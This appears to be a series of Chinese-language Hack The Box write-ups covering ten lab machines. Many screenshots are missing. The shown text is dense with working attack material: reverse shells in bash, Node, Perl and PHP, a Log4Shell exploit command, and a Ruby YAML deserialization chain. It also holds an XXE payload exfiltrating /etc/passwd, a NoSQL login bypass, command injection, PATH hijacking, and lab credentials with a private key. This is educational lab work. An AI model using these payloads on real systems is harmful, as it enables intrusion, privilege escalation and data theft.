htb(二)

Oopsie

image-20230213133440876

image-20230213161714740

proxy

image-20230213135928831

发现不是

image-20230213141213305

这里可以看到 有个login

image-20230213141238295

尝试发现是

/cdn-cgi/login

image-20230213142125339

image-20230213142454155

发现需要admin

image-20230213142437606

Cookie

image-20230213144246206

image-20230213143552557

将id修改为1

34322

image-20230213150315842

image-20230213150308879

记得之前扫到的 /uploads目录

image-20230213150351818

image-20230213153334855

image-20230213152316518

db.php

/bin/bash -c 'bash -i &> /dev/tcp/10.10.14.217/5555 0<&1'

image-20230213161554470

image-20230213161543646

反弹到的shell需要把他转换成一个交互式的shell才能切换用户 设置shell为/bin/bash script命令可以用作交互终端会话过程记录,保存用户输入和系统输入的全过程 -q是静默执行 把会话内容丢到黑洞/dev/null

SHELL=/bin/bash script -q /dev/null

image-20230213165814524

f2c74ee8db7983851ab2a96a44eb7981

image-20230213165859189

image-20230213171839075

这里可以看到文件属于root 在bugtracker因此 使用rebert执行的话就是root权限

查找属于这个组的

find

image-20230213170616598

看一下这里的执行情况

image-20230213170638809

这里可以看到使用了 cat 去查看/root目录 而且这里并没有使用 绝对路径而是使用的相对路径

image-20230213171620700

root

image-20230213173515365

Set owner User ID

image-20230213173525135

cat

export PATH=/tmp:$PATH
cd /tmp
echo '/bin/bash' > cat
chmod +x cat

image-20230213174906761

image-20230213175233768

af13b0bee69f8a877c3faf667f7beacf

Vaccine

image-20230213202332395

image-20230213201815371

ftp

image-20230213202522785

anonymous

image-20230213203019945

image-20230213204335936

backup.zip

image-20230213213659560

zip2john

image-20230213213640031

741852963

image-20230213214717370

image-20230213214711062

image-20230213214732551

qwerty789

image-20230213214925953

--os-shell

image-20230213215428165

python .\sqlmap.py  --batch -r D:\Download\sql.txt --os-shell

image-20230213234526886

/bin/bash -c 'bash -i &> /dev/tcp/10.10.14.217/5555 0<&1'

image-20230213234801994

image-20230213235119317

postgres@10.129.56.99 password=P@s5w0rd!

image-20230213235511385

使用这个登录

ec9b13ca4d6229cd5cc1e09980965bf7

发现 可以sudo执行 vi操作

sudo -l

image-20230214001032362

接着输入

:!/bin/bash

image-20230214001142263

image-20230214001213136

image-20230214001308723

vi

image-20230214001343919

dd6e058e814260bc70e9bbdef2715849

Unified

image-20230214161803413

22,6789,8080,8443

image-20230214162352640

UniFi Network

image-20230214162813826

6.4.54

image-20230214165700556

CVE-2021-44228

image-20230214165839332

LDAP

image-20230214170322345

tcpdump

image-20230214210255385

27117

image-20230214213200940

ace

image-20230214214548419

db.admin.find()

image-20230214220137479

db.admin.update()

image-20230214220156368

NotACrackablePassword4U2022

image-20230214161736277

image-20230214162331459

image-20230214162632027

image-20230214165707058

发现是存在log4j

ldap默认端口389 因此我们使用tcpdump监听一下389端口看看是否存在 jndi注入

tcpdump -i tun0 port 389

image-20230214175817335

说明存在

直接按照 教程来执行 按照maven

apt update && apt install openjdk-11-jre maven

image-20230214170755906

git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi \
    && cd Log4jUnifi && pip3 install -r requirements.txt

image-20230214171426497

mvn package -f utils/rogue-jndi/

image-20230214172404108

java -jar /root/Log4jUnifi/Log4jUnifi/utils/rogue-jndi/target/RogueJndi-1.1.jar -c "bash -c {echo,L2Jpbi9iYXNoIC1jICdiYXNoIC1pICY+IC9kZXYvdGNwLzEwLjEwLjE1LjgyLzU1NTUgMDwmMSc=}|{base64,-d}|{bash,-i}" -n 10.10.15.82

image-20230214174939475

image-20230214174956384

image-20230214174949476

image-20230214220655389

列出当前运行的程序

ps -aux

image-20230214210044509

SHELL=/bin/bash script -q /dev/null

image-20230214213129488

mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"

mongodb 默认数据库ace 通过unifi条件查询语句查询ace 发现admin 账户以及密码信息

image-20230214214509925

使用hashid查询 是什么加密方式

image-20230214214801702

使用 mkpasswd 生成新的密码进行替换

mkpasswd -m sha-512 admin

image-20230214215117717

$6$bPed3RSGDmjXpxI6$jw1OxMOC3tXznz6B/sdRBueVUT3he/NgSlTLTeeeHodsIwcdbbU39AsXLX2b/5pdOOxdodtS2X1uZeyU7.JvA.

接着进行替换

mongo --port 27117 ace --eval 'db.admin.update({"_id": ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$bPed3RSGDmjXpxI6$jw1OxMOC3tXznz6B/sdRBueVUT3he/NgSlTLTeeeHodsIwcdbbU39AsXLX2b/5pdOOxdodtS2X1uZeyU7.JvA."}})'

image-20230214215817595

image-20230214220027301

这里给了root用户的密码

image-20230214220344037

Precious

image-20230220085607881

image-20230220085615871

image-20230220090251241

image-20230220090350689

image-20230220092133919

这里尝试 外网地址和127.0.0.1 时都不行

image-20230220092400726

在vpn地址起一个服务

image-20230220092433563

使用exiftool 工具查看下文件的信息

image-20230220152945520

发现可以正常访问 发现将网页转换成了 pdf 文件

http://10.10.14.2/?name=#{'%20`/bin/bash -c "bash -i &> /dev/tcp/10.10.14.2/5555 0<&1"`'}

image-20230220145207434

image-20230220145158056

image-20230220182240940

拿到用户名和密码

henry:Q3c1AqGHtoI0aXAYFH

image-20230220182447668

5111c74b6261eca78ba68bbe160f41e2

sudo -l

image-20230220183321398

image-20230220183550870

这里可以看到我们可以执行这一条命令 但是其中的ruby脚本是root的 我们无法直接更改获得权限

image-20230220193429338

image-20230220193744438

docker pull ruby:2.7.4

image-20230220202015626

docker run -it --rm ruby:2.7.4 bash
apt install vim

image-20230220203032393

yaml.rb

require "yaml"

YAML.load(File.read("p.yml"))

image-20230220203245725

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve

执行之后发现可以运行命令

image-20230220203337587

那么我们使用同样的方式提权

image-20230220205117084

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: /bin/bash
         method_id: :resolve

image-20230220205145958

Stocker

nmap -Pn -T4 -sS 10.10.11.196

image-20230228193230703

echo "10.10.11.196 stocker.htb" >> /etc/hosts

echo "10.10.11.196 dev.stocker.htb" >> /etc/hosts

这里在爆破子域名的时候 除非提前加到hosts中否则扫不到

gobuster dns -d stocker.htb -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -t 50

image-20230302145854243

发现一个基于node.js的登录框

image-20230302150009240

尝试搜索 nosql 注入

image-20230302165259882

image-20230302165339388

这里找到 绕过 方法 可以尝试下 发现使用json可以成功绕过

{"username": {"$ne": null}, "password": {"$ne": null} }

image-20230302165456923

成功登录了

image-20230302185758737

这里挨着点点看看

image-20230302185956784

在点击后请求

image-20230302190647940

可以发现在这里进行了回显

image-20230302191027566

把pdf 下载下来

image-20230302191538682

可以看到是 Skia/PDF m10

接着搜一下

image-20230302205756060

简单看一下就是 如果能够在返回的pdf 中插入字符的话可以通过 构造iframe 来进行ssrf

image-20230302210016297

构造ssrf

image-20230302210159371

这里首先去读取 nginx 配置文件

<iframe src='/etc/nginx/nginx.conf' height=1050px width=800px></iframe>

得到 应用根路径

image-20230302222720736

image-20230303132507974

image-20230303132522002

那这个密码尝试登录

dev:IHeardPassphrasesArePrettySecure

这里再次回去查看 /etc/passwd 文件发现 mongodb 是无法登录的

image-20230303132254245

尝试登录

angoose:IHeardPassphrasesArePrettySecure

image-20230303132640264

image-20230303132827589

sudo -l

image-20230303132839366

可以看到 可以在 scripts目录下执行任意js文件 但是这里存在目录穿越 也就是可以执行其他目录的js文件

首先我们写一个 node.js 的shell

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/bash", []);
    var client = new net.Socket();
    client.connect(5555, "10.10.14.33", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
})();

sudo /usr/bin/node /usr/local/scripts/../../../home/angoose/s.js

image-20230303135946766

image-20230303140007087

image-20230303140120397

Soccer

image-20230303141751291

image-20230303141907836

扫描到这个目录

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt  -u http://soccer.htb/ -t 50

image-20230303145010961

发现程序名字

image-20230303145214056

image-20230303145159184

读一下 发现需要登录

image-20230303144921596

这里弱口令出密码

image-20230304122130074

发现可以上传php文件 这里传一个 phpshell

image-20230304122121706

image-20230304122150780

image-20230304125505036

看到有一个3306

这里找到还有一个域名

image-20230304123645185

这里通过查看nginx配置文件可以发现 确实还有一个 服务在3000端口

image-20230304125823481

添加到本地hosts之后依次请求一下 发现存在 websocket

image-20230304133918006

经过测试发现存在数字型的 sql注入

这里我们尝试使用 sqlmap来进行注入 注入之前需要进行一下操作 原理可以看下面的文章

https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html

image-20230304144137045

这里可以看到ws的地址

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse

from  websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091"
def send_ws(payload):
    ws = create_connection(ws_server)
    mssage = unquote(payload).replace('"','\'')
    data = '{"id":"%s"}' % mssage
    ws.send(data)
    resp = ws.recv()
    ws.close()
    if resp:
        return resp
    else:
        return ""
def middleware_server(host_port,content_type="text/plain"):
    class CustomHandler(SimpleHTTPRequestHandler):
        def do_GET(self) -> None:
            self.send_response(200)
            try:
                payload = urlparse(self.path).query.split('=',1)[1]
            except IndexError:
                payload = False
            if payload:
                content = send_ws(payload)
            else:
                content = "No parameters specified!"
            self.send_header("Content-type",content_type)
            self.end_headers()
            self.wfile.write(content.encode())
            return
    class _TCPServer(TCPServer):
        allow_reuse_address = True
    httpd = _TCPServer(host_port,CustomHandler)
    httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
    middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
    pass

image-20230304174616453

注意使用正确的id

image-20230304180635855

image-20230305144323106

image-20230305151358835

image-20230305151110091

player:PlayerOftheMatch2022

image-20230305151557679

image-20230305151630391

image-20230305154527450

这里可以看到开头有一个doas命令 这个命令用来代替 sudo执行 root命令的 可以看到配置文件是 doas.conf

image-20230305154821077

image-20230305154928865

这里写了可以使用 root权限 无密码执行dstat命令

dstat 命令可以通过编写插件来执行任意脚本

image-20230305155057603

import os
os.system("bash -i")

image-20230305155338269

MetaTwo

image-20230305173449730

ftp 登录失败

image-20230305175256862

wordpress的站

image-20230305173031493

wpscan  --url http://metapress.htb/ -e ap

image-20230305180322772

这里去扫了一下发现版本是 5.6.2 php 版本 PHP/8.0.24

发现一个插件 bookingpress

image-20230305180638655

image-20230305180723069

可以看到版本号是 小于 1.0.11 这里的版本号是1.0.10

image-20230305181239396

大概理解一下就是需要通过 admin-ajax.php发送请求 在total_service参数中存在注入

image-20230305181229588

这里随便点点

image-20230305181221434

这里注意将 _wpnonce 进行替换

sqlmap --batch -u http://metapress.htb/wp-admin/admin-ajax.php --data="action=bookingpress_front_get_category_services&_wpnonce=4b283709e3&category_id=1&total_service=1" -p "total_service"

image-20230305184922999

image-20230305184953570

image-20230305185022096

image-20230305185110517

image-20230305190006597

第一个没跑到第二个 跑到了

manager:partylikearockstar

image-20230305190115041

可以看到权限不多 在小于5.7时存在一个xxe

image-20230305190517862

https://github.com/motikan2010/CVE-2021-29447

echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.16.24:8000/evil.dtd'"'"'>%remote;%init;%trick;] >\x00'> malicious.wav

image-20230306133205908

生成 malicious.wav

vim evil.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.16.24:8000/?p=%file;'>" >

image-20230306133252844

image-20230306133909086

image-20230306133934167

image-20230306135427957

image-20230306135437990

image-20230306142108321

这里拿到了 ftp的用户名和密码

metapress.htb:9NYS_ii@FyL_p5M2NvJ

image-20230306142214188

image-20230306142317237

拿到 jnelson的密码

image-20230306142357133

jnelson:Cb4_JmWM8zUZWMu@Ys

image-20230306143418912

image-20230306150501655

echo "-----BEGIN PGP PRIVATE KEY BLOCK-----

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
=7Uo6
-----END PGP PRIVATE KEY BLOCK-----" > hash
gpg2john hash > pass_hash
john -w=/usr/share/wordlists/rockyou.txt pass_hash
john --show pass_hash

先将 左边的 key放到hash 文件中

image-20230306150829391

image-20230306151136621

touch pass
passpie export pass
cat pass

image-20230306151227420

root:p7qfAZt4_A1xo_0x

image-20230306151711565

Investigation

image-20230306164156219

这里存在文件上传

image-20230306180725855

image-20230306180807008

发现传上的图片会被 ExifTool 给解析

image-20230306180956086

找到任意命令执行 由于没有回显 这里监听下流量

image-20230306181042461

echo 'L2Jpbi9iYXNoIC1jICdiYXNoIC1pICY+IC9kZXYvdGNwLzEwLjEwLjE2LjI0LzU1NTUgMDwmMSc='|base64 -d |bash|

image-20230306190755132

在 /usr/local/investigation 目录发现

Windows Event Logs for Analysis.msg

image-20230306192405682

通过nc将文件传下来

nc -lnvp 10000 > 'Windows Event Logs for Analysis.msg'

image-20230306193652170

nc 10.10.16.24 10000 <Windows\ Event\ Logs\ for\ Analysis.msg
md5sum Windows\ Event\ Logs\ for\ Analysis.msg

image-20230306193702065

md5sum 'Windows Event Logs for Analysis.msg'

image-20230306193709326

msg 文件查看器

https://products.aspose.app/email/viewer/msg

image-20230306195329497

可以看到有一个附件

evtx-logs.zip

这里用 网站下载下来

https://www.encryptomatic.com/viewer/

image-20230306195426138

通过windows的日志查看器打开

image-20230306195809635

通过筛选登录失败的 id 发现用户密码

image-20230306210111045

smorton:Def@ultf0r3nz!csPa$$

image-20230306211803514

通过scp 把这个文件下载下来

scp smorton@10.10.11.197:/usr/bin/binary .

image-20230306212241110

反编译一下

image-20230306221056759

这里总共需要三个参数 并且是root权限执行 第三个参数必须是 lDnxUysaQn

stream = fopen(argv[2], "wb");
  curl_easy_init();
  curl_easy_setopt();
  curl_easy_setopt();
  curl_easy_setopt();
  if ( (unsigned int)curl_easy_perform() )
  {
    puts("Exiting... ");
    exit(0);
  }
  v5 = snprintf(0LL, 0LL, "%s", argv[2]);
  s = (char *)malloc(v5 + 1);
  snprintf(s, v5 + 1, "%s", argv[2]);
  v6 = snprintf(0LL, 0LL, "perl ./%s", s);
  command = (char *)malloc(v6 + 1);
  snprintf(command, v6 + 1, "perl ./%s", s);

重点在这里 这里首先把第二个参数 url 解析 并拿到相应的脚本接着使用perl去执行 也就是说我们需要启动一个 http服务在服务器上放上一个反弹shell的脚本 接着将第二个参数指向这个脚本就可以了 由于是在sudo中执行 因此

sudo /usr/bin/binary  http://10.10.16.24:8000/p.pl lDnxUysaQn

这样执行时是三个参数 并且第二个参数值 脚本位置 第三个值是固定字符

vim p.pl

image-20230306221549198

use Socket;$i="10.10.16.24";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};

image-20230306221620470

sudo /usr/bin/binary  http://10.10.16.24:8000/p.pl lDnxUysaQn

image-20230306222010486

image-20230306222003192

Mentor

image-20230307122646273

ffuf -u "http://mentorquotes.htb/" -H "Host: FUZZ.mentorquotes.htb" -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt -mc all -fc 302

image-20230307122628445

添加到host中

gobuster dir -u=http://api.mentorquotes.htb/ -w=/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt

image-20230307184235239

image-20230307184716315

首先根据这里创建用户

image-20230307193522246

接着尝试登录

image-20230307193544703

这里拿到一个 jwt

image-20230307193632318

先尝试了几种jwt的攻击方式

这里看了别人的答案发现在扫描时启用了udp

image-20230307215812274

使用 snmpbrute 来列出设备信息

image-20230308133304213

 git clone https://github.com/SECFORCE/SNMP-Brute.git
 python3 snmpbrute.py -t 10.10.11.193

image-20230308133247973

snmpwalk  -c internal -v2c 10.10.11.193 > snmp.txt

image-20230308162926999

kj23sadkj123as0-d213

image-20230308163246133

image-20230308163336407

image-20230308163555951

image-20230308164757127

可以看到这里使用的json发送的数据并且字段有一个path

image-20230308173026076

简单试了一下 发现存在命令执行

/etc/passwd;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.24 5555 >/tmp/f;

image-20230308180216182

image-20230308180417352

image-20230308180915049

image-20230308181532465

这里可以发现我们是在容器中

cd app
cat db.py

image-20230310212126624

wget http://10.10.16.18/chisel

image-20230310212138951

wget https://github.com/jpillora/chisel/releases/download/v1.8.1/chisel_1.8.1_linux_amd64.gz

chmod +x chisel
./chisel server --port 9002 --reverse

image-20230311110716423

chmod +x chisel
./chisel client -v 10.10.16.18:9002 R:5432:172.22.0.1:5432

image-20230311103940348

psql -h 127.0.0.1 -p 5432 -d mentorquotes_db -U postgres

image-20230311114113391

image-20230311114057979

image-20230311114132267

53f22d0dfa10dce7e29cd31f4f953fd8

image-20230311114839505

svc:123meunomeeivani

image-20230311120843889

linux信息

https://github.com/carlospolop/PEASS-ng/releases/tag/20230305

image-20230311154932318

cat /etc/snmp/snmpd.conf

image-20230311154907671

james:SuperSecurePassword123__

image-20230311155038332

image-20230311155119727

BroScience

image-20230308215935176

打开发现几个 页面分别img id 都很奇怪

image-20230308220025025

/includes/img.php?path=barbell_squats.jpeg

这里一看就是有文件读取

image-20230308220228857

include 页面发现目录遍历漏洞

/includes/img.php?path=%25%32%65%25%32%65%25%32%66includes/db_connect.php

当尝试 双url编码时发现可以读取文件

image-20230308220249270

image-20230308221253900

这里通过读取img.php查看到读取逻辑 接着我们尝试读取/etc/passwd

image-20230308221237419

这里我将代码下载下来 先读了一下代码 发现没啥问题 但是在用户登录之后存在反序列化漏洞

很明显在这里存在一个用户激活

image-20230309142833420

image-20230309142852380

这里发现 生成随机数的种子是 time() 也就是说我们有时间就可以成功激活

image-20230309144309590

这里我们找到注册时的时间

<?php
function generate_activation_code($time) {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand($time);
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    echo $activation_code;
}
$date_str = '14:30:38 9 March 2023';
$timestamp = strtotime($date_str);
echo $timestamp."\n";
generate_activation_code($timestamp);

image-20230309144341034

image-20230309144352542

发现不行 我们将时间向后推一秒 网络延迟

image-20230309144420682

image-20230309144438295

发现激活了

利用反序列化写入shell

<?php
class AvatarInterface {
    public $tmp;
    public $imgPath;
    public function __construct()
    {
        $this->imgPath = "/var/www/html/1.php";
        $this->tmp='http://10.10.16.18/shell.php';
    }
}
$o  = new AvatarInterface();
echo base64_encode(serialize($o));

image-20230310220320581

<?php $sock=fsockopen("10.10.16.18",9001);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);

image-20230310220347285

触发反序列化

image-20230310220404804

触发shell

image-20230310220416408

将shell 转换成可交互的

SHELL=/bin/sh script -q /dev/null

image-20230310221605248

尝试连接数据库

/usr/bin/psql -h 127.0.0.1 -p 5432 -d broscience -U dbuser -W
RangeOfMotion%777

image-20230310221640734

\dt 列出所有表

image-20230310222238915

image-20230310223118363

hash

13edad4932da9dbb57d9cd15b66ed104:NaCl

hashcat -m 20 hash /usr/share/wordlists/rockyou.txt

image-20230310224142273

bill:iluvhorsesandgym

image-20230310224238065

https://github.com/DominicBreuker/pspy/releases/tag/v1.2.1

./pspy64 -pf -i 1000

image-20230311174047291

这里找到这一条

#!/bin/bash

if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
    echo "Usage: $0 certificate.crt";
    exit 0;
fi

if [ -f $1 ]; then

    openssl x509 -in $1 -noout -checkend 86400 > /dev/null

    if [ $? -eq 0 ]; then
        echo "No need to renew yet.";
        exit 1;
    fi

    subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)

    country=$(echo $subject | grep -Eo 'C = .{2}')
    state=$(echo $subject | grep -Eo 'ST = .*,')
    locality=$(echo $subject | grep -Eo 'L = .*,')
    organization=$(echo $subject | grep -Eo 'O = .*,')
    organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
    commonName=$(echo $subject | grep -Eo 'CN = .*,?')
    emailAddress=$(openssl x509 -in $1 -noout -email)

    country=${country:4}
    state=$(echo ${state:5} | awk -F, '{print $1}')
    locality=$(echo ${locality:3} | awk -F, '{print $1}')
    organization=$(echo ${organization:4} | awk -F, '{print $1}')
    organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
    commonName=$(echo ${commonName:5} | awk -F, '{print $1}')

    echo $subject;
    echo "";
    echo "Country     => $country";
    echo "State       => $state";
    echo "Locality    => $locality";
    echo "Org Name    => $organization";
    echo "Org Unit    => $organizationUnit";
    echo "Common Name => $commonName";
    echo "Email       => $emailAddress";

    echo -e "\nGenerating certificate...";
    openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
    $state
    $locality
    $organization
    $organizationUnit
    $commonName
    $emailAddress
    " 2>/dev/null

    /bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
    echo "File doesn't exist"
    exit 1;

openssl req -x509 -sha256 -nodes -newkey rsa:4096 -days 1 -keyout broscience.key -out broscience.crt 

$(chmod +s /bin/bash)

image-20230311193314360